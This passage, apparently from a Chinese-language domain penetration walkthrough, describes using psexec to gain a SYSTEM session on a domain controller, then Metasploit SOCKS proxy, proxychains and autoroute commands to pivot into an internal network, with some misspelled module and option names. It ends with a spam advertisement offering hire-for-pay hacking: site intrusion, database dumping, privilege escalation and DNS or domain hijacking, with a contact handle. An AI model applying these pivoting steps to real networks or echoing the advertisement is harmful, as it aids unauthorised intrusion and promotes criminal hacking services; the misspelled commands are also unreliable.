psexec尝试*2
这时候我们再使用psexec进行横向移动就能够获得session，至此我们就拿到了域控的权限
这里看一下我们直接拿到的就是一个system权限的session
0x07 登录远程桌面
这里我想登录远程桌面看看域控还有什么有价值的东西就可以使用socks代理正向进入内网
使用socks_proxy模块
use auxiliary/server/socks_proxt
set viersion 4a
run
这里还需要配置proxychain文件
socks4 192.168.10.11 1080
添加一个内网网段的路由
run autoroute -s 192.168.138.0/24
run autoroute -p
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站，各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系：@hacker_HouZiM